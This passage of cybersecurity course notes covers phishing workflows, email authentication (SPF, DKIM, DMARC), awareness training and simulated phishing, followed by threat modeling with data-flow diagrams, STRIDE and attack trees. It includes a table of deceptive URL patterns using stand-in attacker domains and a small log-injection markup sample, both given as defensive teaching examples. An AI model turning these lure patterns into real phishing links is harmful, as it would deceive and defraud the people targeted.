Are phishing simulations included?	They are a common assessment and teaching technique, but they collect behavioral data.	Set data-minimization rules, avoid collecting real passwords, explain reporting channels, and use results to improve systems rather than shame users.

5.1 Physical-access scenario: helpfulness without uncontrolled access

This includes a guard approached by a visibly pregnant woman who says she feels unwell, cannot use her phone, and needs to enter the building to call for help and use a bathroom. Simply refusing may create a health and safety problem; granting unsupervised access may create a security problem. The proposed response is a layered one: keep the entrance controlled while another guard assists and supervises. The broader lesson is to design procedures that support compassion without abandoning access control.

Process lesson: Do not force employees to choose between security and humane behavior. Provide escalation paths, additional staff, controlled waiting areas, visitor procedures, and supervised assistance.

6. Phishing workflows and impact

Phishing is a variant of social engineering in which an attacker impersonates a trusted entity through email, SMS, voice, or another channel. This uses a fake bank message to illustrate core warning signs: a destination that is not the bank's real website, an unusual time, spelling problems, and urgency. No single sign is conclusive; the destination and the requested action matter most.

6.1 Credential-stealing workflow

Step	What happens	Defensive interruption point
1	The user receives a message containing a link presented as a trusted organization.	Filter suspicious messages and teach users to navigate through a known official route instead of the link.
2	The link opens a site that resembles the real organization but is controlled by the attacker.	Inspect the registrable domain, use password managers that only autofill on the expected site, and deploy browser or gateway protections.
3	The user is prompted to enter credentials.	Use phishing-resistant MFA and never enter secrets after following an unverified link.
4	The credentials are forwarded to the attacker.	Detect suspicious sign-ins and trigger rapid password reset, session revocation, and investigation.
5	The attacker attempts to control the account or pivot to other systems.	Apply least privilege, MFA, conditional access, monitoring, and incident response.

6.2 Malware-infiltration workflow

Step	What happens	Defensive interruption point
1	A message contains an attachment or link.	Block risky file types and scan content.
2	The user opens the attachment or follows the link.	Use awareness training, protected viewers, sandboxing, and safe link handling.
3	The content triggers a script or exploits a vulnerability.	Disable unnecessary macros, patch software, use application control, and restrict script execution.
4	Malware controls the system, sends data, or propagates.	Endpoint detection, least privilege, segmentation, and rapid isolation limit impact.

Step	What happens	Defensive interruption point
5	Rarely, vulnerable systems may be exploited with minimal interaction, such as following a link or previewing content.	Keep clients patched and reduce exposure to active content.

6.3 CEO fraud and business-email compromise pattern

In the CEO-fraud pattern, a message impersonates a trusted authority and asks the recipient to transfer money, share documents, or perform another sensitive action. The central defense is not only better email detection. High-impact workflows should require independent confirmation, separation of duties, callback procedures using known contact details, and documented approval paths.

6.4 Attacker preparation and scale

A regular phishing campaign may involve registering sender addresses, creating an impersonation website or preparing an attachment, and sending messages. Publicly available tooling and generative AI can reduce effort and improve presentation quality. This makes visual polish a weak trust signal. Defenders should rely on domain verification, process controls, technical filtering, and independent confirmation.

Defensive focus: Treat the requested action as the center of the analysis: credential entry, payment, file opening, data sharing, account reset, or access approval. Verify high-impact actions independently.

7. Email trust and website spoofing

7.1 Why email identity needs additional controls

This illustrates email transfer using Simple Mail Transfer Protocol (SMTP), originally designed without the authentication expectations of modern hostile networks. A message moves from the sender through mail servers to the recipient. The visible display name, the visible address, the sending infrastructure, and the content are distinct properties. A trustworthy-looking From field is not sufficient proof of origin.

Spoofing or deception type	Explanation	What to verify
Display-name spoofing	The display name can say "Alice" while the actual address belongs to Eve. Similar-looking addresses can also be convincing.	Inspect the full sender address and the context of the request.
Sender-address spoofing	A server controlled or misconfigured by an attacker may transmit a message with a falsified sender address.	Use domain authentication and receiving-mail-server checks.
Message tampering	An attacker who can interfere with delivery may alter message content.	Use cryptographic message authentication such as DKIM and secure transport where appropriate.
Website spoofing	Link text may display an expected address while the actual destination differs.	Hover or inspect the actual destination, then identify the registrable domain.

7.2 URL anatomy and deception patterns

For a URL such as https://login.example.com/account, the registrable domain is example.com; login is a subdomain controlled by the owner of example.com. Attackers exploit the fact that users may read only a familiar substring, see only a truncated mobile display, or fail to distinguish letters that look alike.

Example	How the deception works	Defensive reading rule
`http://evilhacker.org`	No disguise: the destination is plainly unrelated to the expected organization.	Still dangerous when users do not inspect the address.
`https://tinyurl.com/bffte48x`	A URL shortener hides the eventual destination until it is expanded or followed.	Use a trusted expansion or inspection service; do not assume a shortened link is safe.
`https://amazon.com.evilhacker.com`	amazon.com is only a subdomain label; the registrable domain is evilhacker.com.	Read domains from right to left until the registrable domain is clear.
`https://evilhacker.com/www.facebook.com`	The familiar name appears in the path after the domain.	A path does not control the site identity.
`https://amazon-shop.com`	A similar but separately registered domain.	Know the expected official domain or navigate independently.
`arnazon.com / mircosoft.com`	Look-alike spelling swaps characters or uses a typo.	Slow down and inspect carefully.
`fácebook.com / visually confusable letters`	Internationalized-domain and homoglyph risks can create almost indistinguishable text.	Browsers and filters can help, but independent navigation is safer.
`https://evilhacker.amazon.com`	A compromised legitimate-domain subdomain could be dangerous even though the parent domain is familiar.	URL inspection alone cannot prove content safety.
`https://amazon.com/login?redirect=https://evilhacker.org`	A legitimate site may redirect to another destination.	Inspect the final destination and avoid entering secrets after unexpected redirects.

URL limitation: A correct-looking URL is not proof that the page is safe. Legitimate sites can be compromised, open redirects can lead elsewhere, and trustworthy domains can host unsafe content. Use layered verification.

8. Phishing detection and technical controls

8.1 SPF: authorize sending infrastructure

Sender Policy Framework (SPF) is published in DNS for a domain. It describes which servers or IP ranges are authorized to send mail on behalf of that domain. In scenario, Eve uses eve.com infrastructure while claiming to send as alice.com. The receiving server checks alice.com's SPF policy and can treat unauthorized infrastructure as a failure.

SPF concept	Meaning	Operational note
`v=spf1 a -all`	SPF policy version 1; allow the domain's A-record hosts; reject all other senders with a hard fail.	The exact policy must reflect the organization's real mail services. Incorrectly restrictive or permissive records create delivery or security problems.
`soft fail vs hard fail`	A soft fail typically indicates that mail should be marked suspicious; a hard fail indicates unauthorized sending infrastructure.	Receiving systems still need an enforcement policy and context.

8.2 DKIM: authenticate signed message content

DomainKeys Identified Mail (DKIM) adds a domain-level digital signature to selected message headers and body content. The sender signs using a private key; the receiving server retrieves the corresponding public key from DNS and verifies the signature. A valid signature provides evidence that the signed parts were authorized by the signing domain and were not altered after signing. DKIM does not by itself prove that the human-visible author is who the reader assumes, and forwarding or message transformations can complicate validation.

8.3 DMARC: align identity and publish handling policy

Domain-based Message Authentication, Reporting, and Conformance (DMARC) builds on SPF and DKIM. It checks alignment between the visible From domain and the domain validated through SPF or DKIM, then lets a domain publish a handling policy such as monitoring, quarantine, or rejection. DMARC also supports reports that help domain owners identify misuse and configuration problems. A poor configuration can still produce false positives or allow gaps, so monitoring and staged enforcement matter.

Control	Primary question answered	Important limitation
SPF	Is this sending infrastructure authorized to send for the relevant domain?	Forwarding and complex mail flows can complicate evaluation; policy configuration must be accurate.
DKIM	Was the signed content authorized by the signing domain and preserved after signing?	A valid signature is not a complete guarantee that the message is benign or that the signing domain is trustworthy.
DMARC	Does authenticated mail align with the visible From domain, and what should receivers do when checks fail?	Deployment quality, policy strength, and receiver behavior determine effectiveness.

8.4 Blocking and warning controls

Approach	Examples	Trade-off
Block known malicious content	Known malicious domains, phishing-site intelligence such as PhishTank, and malware signatures for attachments.	Fast for known indicators but may miss new or short-lived infrastructure.
Detect potentially malicious content	Look-alike domains, dangerous attachment formats such as executable files, suspicious keywords, and behavioral indicators.	Broader coverage but more false positives.
Allow-list content	Only permit approved internal or trusted destinations.	Strong restriction but often too limiting for normal work.
Warn instead of blocking	Add a warning banner or require manual review for suspicious messages.	Preserves access but shifts part of the decision back to the user.

8.5 Automatic verification limitations

Issue	Meaning	Response
False positive	A legitimate message is blocked or marked suspicious.	Provide review and recovery paths; tune policies.
False negative	A phishing message reaches the user.	Maintain user verification habits and layered controls.
Technical complexity	Signing, DNS records, and verification policies require expertise.	Use careful deployment, monitoring, documentation, and staged rollout.
Threat-intelligence gaps	New domains and payloads may not yet be known.	Combine reputation with behavior, heuristics, and human reporting.
Need for manual inspection	Some cases remain ambiguous.	Make escalation easy and avoid pressuring users to decide alone.

8.6 Manual detection indicators

Indicator	What it can reveal	Why it is not sufficient alone
Look and feel	Spelling mistakes, inconsistent branding, or poor formatting may indicate a low-quality lure.	Professional-looking messages are easy to create, especially with templates and generative tools.
Request content	Unusual payments, credential requests, account-reset claims, sensitive-document requests, or implausible stories may be suspicious.	Personalized messages can closely match real work.
Security-feature results	Missing or failed domain authentication may raise suspicion when such checks are expected.	Legitimate mail can fail; malicious mail can pass some checks; configuration mistakes exist.
URL and attachment analysis	Inspecting the real destination and attachment risk is often the strongest user-visible clue.	It requires knowledge and cannot prove safety when legitimate infrastructure is compromised.
Independent verification	Use an official website, known phone number, separate message channel, or second approver.	This is often the most reliable response for high-impact requests.

8.7 Why no single detection measure is enough

Proposed measure	Why it helps	Why it cannot solve everything
Block phishing websites	Removes known malicious destinations.	Detection and takedown may be too slow for new sites.
Register similar domains	Prevents some obvious look-alike registrations.	Costly, incomplete, and attackers can invent new variations.
Protect against sender spoofing with DMARC	Reduces direct domain impersonation.	Recipients may not know the correct address; compromised accounts and look-alike domains remain.
Use digital signatures	Provides strong cryptographic evidence.	May be difficult for users to interpret and does not guarantee benign intent.
Rely on users	Users can recognize context and novel attacks.	Human attention is limited; secure systems should not place the entire burden on individuals.

Defense in depth: Combine authenticated email, filtering, browser and endpoint protection, least privilege, MFA, high-risk workflow verification, clear reporting, rapid response, and continuous education.

9. Awareness, simulation, and response

9.1 Primary task versus security task

Users usually process email to complete work, not to perform forensic analysis. visual contrasts what the user wants to do - read and act on a message - with the additional steps needed for safe processing, such as checking the sender, validating the link, and evaluating the request. Good security design reduces the gap between productive work and safe behavior.

9.2 Anti-phishing education approaches

Approach	Examples	Strength
Multiple media formats	E-learning modules, videos, websites, and paper materials.	Supports varied learning preferences and repeated exposure.
Gamification	Interactive and motivating exercises.	Encourages active learning rather than passive reading.
Games and learning aids	NoPhish, Anti-Phishing Phil, and APWG phishing-education resources.	Practice improves recognition when examples are realistic and guidance is actionable.
Embedded learning	Deliver a learning moment close to the risky action or simulation result.	Connects the lesson to a concrete decision.

9.3 Simulated phishing campaigns

Simulated campaigns can evaluate organizational exposure and teach safe behavior. Platforms such as GoPhish can support this process. The goal should be improvement, not humiliation. A simulation must be authorized, carefully scoped, and designed to avoid collecting unnecessary secrets or creating real operational risk.

Design question	Options	Good-practice interpretation
What is measured?	Click rate, rate of data entry, and other interaction indicators.	Collect the minimum data needed to answer the training or evaluation question.

Design question	Options	Good-practice interpretation
Are identities collected?	The names of users who clicked or submitted data may be recorded.	Identity-level data requires strict need-to-know access and a clear purpose.
Is entered data collected?	Specific data supplied on the page could be captured.	Do not collect real passwords or sensitive data. Use safe placeholders and immediate education.
How are results used?	Assess vulnerability and the effectiveness of awareness measures; provide teaching.	Improve systems, workflows, and education rather than assigning blame only to users.

9.4 Problems with weak security education

Problem	Explanation	Improvement
One-time training	Habits take time to change, new staff arrive, and attacker methods evolve.	Use recurring, updated, role-aware education.
Putting responsibility solely on users	Demands may be unreasonable; reporting paths may be unclear; users may fear consequences after clicking.	Pair education with technical controls, supportive reporting, and a no-shame response culture.
Lack of actionable advice	Instructions such as "do not click suspicious emails" or "do not visit websites you do not know" are vague or unrealistic.	Provide concrete verification steps, examples, and escalation channels.

10. Compact reference

10.1 High-value distinctions

Term pair	Distinction
Social engineering vs phishing	Social engineering is the broader manipulation category; phishing is one message-based variant.
Phishing vs spear phishing	Phishing often targets many recipients; spear phishing is more focused and personalized.
Whaling vs CEO fraud	Whaling commonly refers to targeting high-value senior people; CEO fraud often describes impersonating authority to direct payments or disclosures. They overlap.
Smishing vs vishing	Smishing uses SMS or text channels; vishing uses voice calls or voice interactions.
Tailgating vs shoulder surfing	Tailgating obtains physical entry by following someone; shoulder surfing observes secrets, screens, documents, or conversations.
Pretext vs persuasion tactic	A pretext is the story that explains the interaction; persuasion tactics are psychological levers used to encourage compliance.
Display-name spoofing vs sender-address spoofing	Display-name spoofing changes what the reader sees as a name; sender-address spoofing falsifies the claimed email address.
SPF vs DKIM vs DMARC	SPF authorizes sending infrastructure; DKIM signs message content at domain level; DMARC adds alignment, policy, and reporting.
False positive vs false negative	A false positive flags legitimate activity; a false negative misses malicious activity.
Technical control vs process control	Technical controls filter and authenticate; process controls require independent approval, callback, supervision, and escalation.

10.2 Fast response workflow for a suspicious message or interaction

Step	Action	Reason
1. Pause	Do not click, reply, open an attachment, connect removable media, disclose information, approve access, or make a payment immediately.	Urgency and emotional pressure are common influence mechanisms.
2. Inspect	Check the full sender, actual URL, attachment type, requested action, and surrounding context.	Separate appearance from technical evidence.
3. Verify independently	Use a known official website, phone number, internal directory, second approver, or security channel.	Do not verify through contact details supplied by the suspicious message.
4. Report	Send the message or interaction details through the organization's reporting path.	Reporting helps protect other users and improve filtering.
5. Contain if necessary	If a link was followed, data entered, money transferred, file opened, or access granted, contact the response team immediately.	Fast action can revoke sessions, reset credentials, isolate endpoints, stop payments, and preserve evidence.
6. Learn and improve	Update controls, procedures, and training based on the event.	Treat incidents and simulations as opportunities to strengthen the system.

10.3 Organizational control checklist

Area	Controls
Email and web	SPF, DKIM, DMARC, filtering, attachment scanning, link analysis, browser protections, and warning banners.
Identity	MFA, phishing-resistant authentication where practical, password managers, conditional access, least privilege, and rapid session revocation.
Business processes	Callback verification, separation of duties, payment approval, supplier-change validation, and sensitive-document controls.
Endpoints and network	Patching, protected viewers, macro restrictions, endpoint detection, removable-media controls, and segmentation.
Physical security	Badges, visitors, escorts, challenge culture, secure disposal, screen privacy, controlled entrances, and supervised assistance.
People and culture	Recurring education, actionable advice, easy reporting, no-shame escalation, role-aware scenarios, and continuous improvement.
Assessments	Written scope, legal review, proportionate scenarios, data minimization, stop conditions, safe evidence handling, and remediation tracking.

Final takeaway: Human-centered security is a system-design problem. Training matters, but defenses fail when secure behavior

is unclear, inconvenient, unsupported, or overridden by risky business processes.

Sources

Sources include GAMESS and Christopher Hadnagy's Social Engineering: The Science of Human Hacking, 2nd Edition.

CYBERSECURITY

Chapter 08: Threat Modeling I

Technical knowledge notes

Security engineering process, modeling methods, DFDs, trust boundaries, STRIDE, attack libraries, attack trees, mitigation strategies, threat prioritization, and model validation

Core idea: Threat modeling is a repeatable engineering process for identifying predictable threats before or while building a system. The four-step loop is: model the system, find threats, address threats, and validate the result.

Important limit: A threat model improves security but never proves that a system is secure. Models abstract reality, assumptions may be wrong, implementations change, and new attack patterns appear over time.

Practical mindset: Do not treat threat modeling as a one-time document. Treat it as a living quality-assurance process connected to design, implementation, deployment, testing, monitoring, and maintenance.

1. Why threat modeling is needed

1.1 Security failures expose broken assumptions

Examples include incident-driven lessons. One example challenges the assumption that end-to-end encryption automatically makes an entire system secure: encryption may protect message content while identity takeover, user-interface abuse, or social engineering still defeats the system. Another example challenges the assumption that information-technology failures are separate from safety: in cyber-physical systems, a digital failure can disrupt physical operations and safety-critical dependencies.

Broken assumption	What was missed	Threat-model update
End-to-end encryption means the whole system is secure.	Identity takeover, social engineering, and user-interaction abuse can bypass protection of message content.	Add authentication flows, recovery flows, user interaction, and abuse cases as attack surfaces.
IT failures do not directly affect safety.	Operational systems can have physical consequences when software, networks, or dependencies fail.	Include safety-critical dependencies, operational disruption, degraded modes, and cyber-to-physical impact.

1.2 Reactive testing is useful but insufficient

Security issues can be found with static code analysis, fuzzing and other dynamic testing, penetration tests, red-team and blue-team exercises, and post-release bug reports. These methods remain valuable, but they often detect problems after design decisions already exist. Threat modeling asks a complementary question: can predictable security problems be identified before a line of code is written, or early enough that the design can be changed cheaply?

1.3 Threat modeling may already be happening implicitly

Developers and operators already make informal security judgments whenever they decide who may access a service, which data crosses a network, how a database is isolated, or what happens after authentication. The goal is to make this reasoning explicit, structured, reviewable, and repeatable. A thorough process improves requirements, avoids avoidable security defects, and creates a model that supports monitoring and deployment decisions.

Desired property	Meaning in practice
Predictable	Similar teams should discover similar major threat categories instead of relying on random inspiration.
Reliable	Important assumptions, trust boundaries, and security decisions are documented and can be reviewed.
Scalable	The method can be applied to a large product without becoming an unstructured list of minor details.
Practical	The output leads to prioritized engineering work, verification, and operational controls.

2. Choosing a starting perspective

Threat-modeling methods commonly focus on attackers, assets, or the software and system itself. Each view can contribute useful questions. An engineering-centered system model is the most dependable starting point, while attacker scenarios and business assets remain important.

Starting perspective	Useful question	Strength	Risk if used alone
Attacker-focused	What does an attacker know, want, and try next?	Supports realistic abuse cases and adversarial thinking.	Predictions about attacker goals or knowledge may be wrong. A missed assumption can send the model in the wrong direction.
Asset-focused	What valuable things should be protected?	Connects security work to business value and impact.	The asset list may be incomplete or ambiguous. A random workstation may matter as a stepping stone even when its own data seems unimportant.
System-focused	What is being built, where does data move, and where do privileges change?	Uses facts the team knows and scales into structured diagrams and reviews.	A system diagram still needs attacker thinking, asset context, and validation to avoid blind spots.

2.1 Why asset lists can be difficult

An asset may mean a valuable business object, something an attacker wants, something defenders want to protect, or a stepping stone toward another target. These definitions overlap but are not identical. A machine with no obvious sensitive data can still be valuable to an attacker as a proxy, a piracy host, a foothold, or a path toward an inner system. Therefore, asset identification helps set priorities but cannot replace modeling the complete environment.

Important distinction: Assets explain what matters and why. A system model explains how components interact. An attacker model explains how those interactions might be abused. Good threat modeling combines the perspectives

instead of relying on only one.

2.2 The engineering loop

Four-step framework	OWASP-style equivalent	Purpose
Model the system	Application overview and application decomposition	Create an abstraction of components, data flows, boundaries, and dependencies.
Find threats	Identify threats and vulnerabilities	Systematically search for predictable abuse cases and weaknesses.
Address threats	Plan and implement controls	Mitigate, eliminate, transfer, or explicitly accept each threat.
Validate	Iterate and verify	Review model completeness, confirm controls, test them, and update the model.

3. Modeling the system

3.1 Abstraction and diagramming

A model deliberately hides low-level detail so that the whole system can be reasoned about. Commercial threat models often use diagrams rather than mathematical models. Useful formats include data-flow diagrams, swim-lane diagrams, state machines, and UML diagrams such as activity diagrams. The choice depends on which aspect of the system needs to be understood.

Model type	Primary use	Security value
Data-flow diagram (DFD)	Processes, data stores, external entities, data movement, and trust boundaries.	Makes flows and boundary crossings visible; threats frequently follow data.
Swim-lane diagram	Interactions among two or more entities arranged into lanes.	Highlights cross-entity communication and implicit boundaries; useful for network protocols such as the TCP three-way handshake.
State machine	States and transitions, such as unauthenticated to authenticated or user to administrator.	Highlights transitions that change security state and require validation.
Other UML diagrams	Activity, sequence, component, and other structured views.	Can show process flow or design structure when a DFD is too narrow. UML can become complex, so use only detail that supports analysis.

3.2 Data-flow diagram notation

DFD element	Meaning	Threat-modeling questions
Process	Running code or a logical component that transforms data.	What inputs does it trust? What privileges does it have? What errors or secrets can it expose? Can it be exhausted or subverted?
Data store	Persistent or shared data such as files, databases, logs, or shared memory.	Who can read or write it? Can it fill up? Is integrity protected? Are backups and retention appropriate?
Data flow	A path by which data moves between elements.	Is confidentiality protected? Can traffic be modified, replayed, redirected, or flooded? Is metadata sensitive?
External entity	Anything outside the modeled code and data, including people, clients, third-party services, and cloud systems.	How is identity verified? What assumptions are made about behavior, availability, and trust?
Trust boundary	A point where entities with different privileges or trust levels interact.	What enforcement occurs at the crossing? Which inputs require validation, authentication, authorization, or isolation?

3.3 DFD Example 1: Acme Database

The Acme Database diagram shows external Web Clients and SQL Clients communicating with Front End processes inside a DB Cluster boundary. The front ends interact with the Database, which connects to a DB Admin process and the Data, Management, and Logs stores. A DBA human and DB Users human interact with administrative and log-analysis paths. The diagram also shows a narrower Acme SQL Account boundary. The security lesson is that data stores, administrative functions, client entry points, logs, and nested trust zones all need separate analysis.

Visible feature	Questions raised by the diagram
Web and SQL client paths	Do both client types receive equivalent authentication, authorization, input validation, and rate limiting?
Front ends and database	Can a compromised front end perform excessive database actions? Are service-account privileges minimized?
Administrative path	Is DBA access strongly authenticated, logged, separated, and reviewed?
Logs and log analysis	Can logs be modified, filled, or used to expose sensitive data? Are log readers separate from log writers?
Nested boundaries	Does crossing into the database cluster or SQL-account scope trigger explicit enforcement?

3.4 DFD Example 2: Store Database

The Store Database example shows a User, static front-end files, an App Back-end, an App Database, and Other Services. The user retrieves static files and submits a report modification to the back end. The back end stores modifications in the database and retrieves details from other services. Dashed red boundaries show crossings between zones. Each crossing is a review point: validate user input, constrain back-end privileges, protect database access, and define trust assumptions for external services.

3.5 DFD Example 3: College Library Website

The College Library Website example separates Users and Librarians from the website, Web Pages on Disk, a College Library Database process, and Database Files. Requests and responses cross the user-facing boundary; SQL query calls cross the

database boundary; data moves between the database process and stored files. The model suggests questions about role separation, SQL injection, page-file integrity, database authorization, and disclosure through responses.

4. Trust boundaries, lanes, and security states

4.1 Trust boundaries must be explicit

A trust boundary exists where principals with different privileges interact. Development teams often leave these boundaries implicit, but effective threat modeling makes them visible. Boundaries may separate a user from an application, one mobile app from another, a front end from a database, an internal service from a third party, or a lower-privilege process from a privileged component. Threats often cluster around boundaries because that is where untrusted or differently trusted inputs meet protected operations.

Boundary question	Why it matters
Which principals are on each side?	Security rules depend on identity, privilege, ownership, and responsibility.
What crosses the boundary?	Data, commands, credentials, tokens, files, logs, and metadata may require different controls.
What enforces the boundary?	Operating-system isolation is generally preferable when available. Other boundaries require application checks, cryptographic protection, gateways, or database controls.
What assumption could fail?	Third-party availability, client honesty, identity claims, network confidentiality, and correct configuration are all assumptions that should be recorded.

4.2 Swim lanes

A swim-lane diagram places each communicating entity in its own lane. Interactions cross lane boundaries. This uses a TCP three-way-handshake example to show that lanes make the order of messages and cross-entity communication easy to see. For threat modeling, inspect each crossing for spoofing, tampering, replay, disclosure, missing validation, and availability dependencies.

4.3 State machines and privilege transitions

A state machine represents valid states and transitions. Security-relevant examples include unauthenticated to authenticated, standard user to administrator, locked to unlocked, and inactive session to active session. Each transition should have a trigger, authorization rule, failure behavior, and auditable result. Unexpected transitions, missing checks, or inconsistent enforcement can create elevation-of-privilege paths.

Transition example	Required questions
Unauthenticated -> authenticated	What evidence establishes identity? Is MFA required? Can sessions be replayed or fixed? What happens after repeated failures?
User -> administrator	Who may request elevation? Is approval required? Is elevation temporary? Is the privileged action logged?
Active -> locked or disabled	What triggers the change? Could an attacker intentionally lock out another user? How is recovery secured?
Service healthy -> degraded or failed	What dependency failed? Does the system fail safely? Can an attacker force the transition repeatedly?

Modeling rule: Focus first on data flow, not control flow. However, every transition implies processing, and security-state transitions deserve explicit analysis.

5. Systematically finding threats

After modeling the system, the next task is to search for threats in a structured way. Structure improves completeness and predictability: reviewers are less likely to rely only on personal memory or the most recent incident. Examples include attack libraries, STRIDE, PASTA and similar methodologies, and attack trees as search aids.

5.1 Attack libraries

Library or source	What it provides	How to use it
OWASP	Application-security guidance and categories such as the OWASP Top 10.	Use categories as prompts when analyzing web components and common application risks.
CAPEC	Common Attack Pattern Enumeration and Classification.	Use attack-pattern descriptions to inspire abuse cases and connect known techniques to model elements.
CVE	Common Vulnerabilities and Exposures identifiers for disclosed vulnerabilities.	Use when a model includes specific products, libraries, or versions; CVE records identify known weaknesses.
NVD	NIST National Vulnerability Database descriptions and enrichment around vulnerabilities.	Use for vulnerability context, severity information, and references.
CMU Vulnerability Notes Database	Structured vulnerability notes and practical information.	Use as an additional source when investigating known product or protocol weaknesses.
Exploit Database	Publicly indexed exploit and proof-of-concept references.	Use cautiously and only within authorization; the defensive purpose is to understand exposure and validation needs.

Use libraries correctly: Attack libraries are prompts, not complete answers. Their value is to make thinking more systematic. The model still needs context-specific reasoning, scope control, prioritization, and validation.

6. STRIDE threat categorization

STRIDE is a structured method for identifying and categorizing threats. It is business-friendly because each category is understandable without deep implementation detail, yet it can be applied to technical components, processes, data stores, and flows. STRIDE can also support reviews and penetration-test checklists.

STRIDE category	Property violated	Core meaning	Typical question
Spoofing	Authentication	Impersonating someone or something else.	Can an attacker claim another identity, machine, service, user, or role?
Tampering	Integrity	Modifying data or code.	Can an attacker alter files, requests, redirects, messages, configuration, or stored data?
Repudiation	Non-repudiation and accountability	Claiming not to have performed an action or making actions difficult to attribute.	Are actions logged securely and with sufficient context to investigate disputes?
Information disclosure	Confidentiality	Exposing information to an unauthorized party.	Can secrets leak through storage, traffic, metadata, error messages, or excessive responses?
Denial of service	Availability	Denying or degrading service to users.	Can an attacker exhaust CPU, memory, disk, network, data stores, dependencies, or business logic?
Elevation of privilege	Authorization	Obtaining capabilities without proper authorization.	Can lower-privilege input or state lead to privileged actions, memory access, or bypassed checks?

6.1 Spoofing examples

Threat form	Examples	Defensive interpretation
Spoofing a machine	ARP spoofing, IP spoofing, DNS spoofing, DNS compromise at the TLD, registrar, or DNS server, and IP redirection.	Do not rely solely on network location or unauthenticated name resolution. Use strong endpoint authentication, protected DNS where appropriate, and network monitoring.
Spoofing a person	Account takeover and misleading display names; references the familiar “stranded in London” scam pattern.	Protect accounts with MFA and secure recovery. Treat display names as untrusted presentation text.
Spoofing a role	Declaring oneself to be a special role, opening special accounts, creating a domain or website, or using other “verifiers.”	Authorize each sensitive action based on verified identity and server-side role checks, not self-assertion or appearance.

6.2 Tampering examples

Tampering includes modifying a file that defenders own and rely on, modifying a file the attacker controls but defenders trust, changing files on a server owned by either side, and modifying links or redirects. Redirects are common on the web and may decay or change over time, so external dependencies and redirect chains should be reviewed as integrity risks.

6.3 Repudiation examples

Repudiation becomes possible when actions are not logged, logs are incomplete, or attacker-controlled data corrupts log interpretation. This illustrates a case where malicious network data inserts markup-like content such as </tr></html> into logs to confuse analysis. Defensive logging must record relevant events, preserve integrity, escape untrusted content for display, use consistent time, and protect storage from modification.

6.4 Information-disclosure examples

Location	Examples	Security lesson
Process output	SQL injection that returns database tables; verbose error messages; errors that expose usernames, database names, or passwords; memory-disclosure bugs such as Heartbleed.	Restrict returned data, handle errors safely, patch known flaws, minimize secrets in memory and error paths, and test negative cases.
Data flow	Reading network traffic or redirecting traffic so it can be observed.	Use authenticated encryption where needed and protect routing, endpoint identity, and trust boundaries.
Metadata	Learning secrets by traffic analysis, observing DNS relationships, or analyzing social-network connections.	Confidential content protection does not automatically hide who communicates with whom, when, or how often.

6.5 Denial-of-service examples

Availability attacks can target processes, data stores, data flows, and business logic. Examples include exhausting RAM or disk, absorbing CPU, using a process as an amplifier, causing excessive login attempts, filling a data store, generating enough requests to slow the system, and consuming network capacity. Some effects last only while traffic continues; others persist after the attack, such as a filled disk.

6.6 Elevation-of-privilege examples

Elevation of privilege includes process corruption through unhandled input, gaining unauthorized read or write access to memory, misusing authorization checks, exploiting buggy or inconsistent authorization logic, and tampering with bits on disk. Centralizing authorization checks can improve consistency and correctness. Privilege decisions should be explicit, testable, and applied server-side.

6.7 Applying STRIDE

Walk through each element and boundary in the model and ask how each STRIDE category could apply. Use available documentation, diagrams, attack trees, libraries, and experience. The purpose is not to force every category onto every element but to ensure the search is deliberate and complete enough for the system risk.

7. Attack trees

7.1 Definition and structure

An attack tree is a branching hierarchical representation of ways to reach a security-incident goal. The root is the attacker goal. Branches and child nodes decompose that goal into possible approaches. Leaf nodes are concrete initiating techniques or conditions. Trees may be shown graphically or as an indented outline. They help organize detail without losing the big picture and make reusable attack knowledge easier to apply.

Tree concept	Meaning
Root node	The high-level outcome the attacker wants, such as “access the building,” “compromise a bank account,” or “get root.”
Intermediate node	A subgoal or approach that contributes to the parent goal.
Leaf node	A concrete technique, precondition, or action that can initiate or complete a path.
Branch relationship	Alternative or combined paths. In many attack-tree formalisms, OR branches mean any child is sufficient and AND branches require multiple children; the chosen notation must be documented.
Pruning and review	Remove irrelevant branches, add missing paths, and check completeness against the actual system.

7.2 Physical-access outline example

The goal “access the building” can be decomposed into going through a door, window, or wall. The door branch includes unlocked-door opportunities, drilling or picking a lock, using a key, reproducing a photographed key, socially engineering a key, or socially engineering entry. This demonstrates that an attack tree combines technical, physical, procedural, and human paths toward the same goal.

7.3 Internet-banking authentication example

The bank-account-compromise tree includes user-credential compromise, user surveillance, theft of tokens or handwritten notes, malicious-software installation, vulnerability exploitation, hidden code, worms, malicious email, smart-card manipulation, brute-force attempts, sniffing, user communication with an attacker, social engineering, web-page obfuscation, redirection toward fraudulent sites, pharming, website manipulation, injection of commands, security-policy violations, and session hijacking. The tree illustrates how one business goal can be reached through endpoint, network, web, credential, session, and social-engineering paths.

7.4 Using and creating attack trees

Task	Method
Reuse an existing tree	Find an appropriate tree from a reliable source, then iterate through the system diagram and ask whether each branch applies in this context.
Increase precision	Use more detailed iteration when learning the method or performing a high-stakes analysis.
Create a project tree	Choose a representation, define a root goal, add subgoals and leaves, consider completeness, prune irrelevant nodes, and review the result.
Connect to engineering	Map relevant leaves to threat records, controls, tests, owners, and monitoring requirements.

8. Addressing threats

8.1 Four response strategies

Strategy	Meaning	Example reasoning
Mitigate	Reduce likelihood or impact so exploitation becomes harder or less damaging. This is the default response.	Add authentication, authorization, encryption, rate limits, validation, isolation, or monitoring.
Eliminate	Remove the risky feature, pathway, or unnecessary functionality.	If a protocol feature is not needed, deleting it can remove the associated attack surface entirely.
Transfer	Shift responsibility to another party that is better positioned to manage the risk.	Use a specialized provider, contract, insurance arrangement, or managed service, while remembering that accountability and dependency risk remain.
Accept	Explicitly tolerate the residual risk when other options are unreasonable.	Document rationale, owner, assumptions, monitoring, and a review date. Acceptance is a decision, not neglect.

Trade-offs: Security responses affect usability, cost, schedule, performance, operational complexity, and business capability. Document the trade-off and residual risk instead of presenting mitigation as absolute protection.

8.2 Controls for spoofing, integrity, and repudiation

Threat concern	Controls	Explanation
Spoofing and integrity across a network	Permissions, TLS or similar cryptographic channels, digital signatures, and carefully managed hashes.	Network paths are untrusted. Authenticate endpoints and protect message integrity rather than assuming the network is honest.
Identity and authorization	Password controls, MFA, roles, privileges, and permission systems.	Permission systems are difficult to implement correctly. Keep decisions centralized where possible and test both allowed and denied actions.
Repudiation	Logging, log-analysis tools, secure log storage, secure timestamps, and trusted third parties where appropriate.	Evidence must be attributable, complete enough for investigation, resistant to tampering, and based on trustworthy time.

8.3 Remove functionality when possible

Important point: that the strongest fix is sometimes to remove the functionality that creates the security bug. The Heartbleed example illustrates the principle: without the TLS heartbeat feature, that particular heartbeat-related defect could not exist. When functionality remains, controls reduce risk but do not erase the attack surface.

